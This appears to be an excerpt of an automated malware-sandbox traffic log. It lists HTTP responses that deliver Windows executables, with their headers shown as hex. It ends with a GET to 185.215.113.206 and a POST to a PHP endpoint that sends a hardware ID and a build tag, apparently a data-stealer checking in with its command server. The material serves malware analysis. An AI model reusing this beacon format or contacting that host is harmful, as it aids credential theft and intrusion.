00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 01:46:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 01:46:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 01:46:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 01:46:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 01:46:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 01:46:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 42 37 42 39 38 33 45 43 35 30 33 30 31 32 33 34 33 35 37 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 2d 2d 0d 0a Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="hwid"ECB7B983EC503012343576------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="build"tale------IDHIEGIIIECAKEBFBAAE--
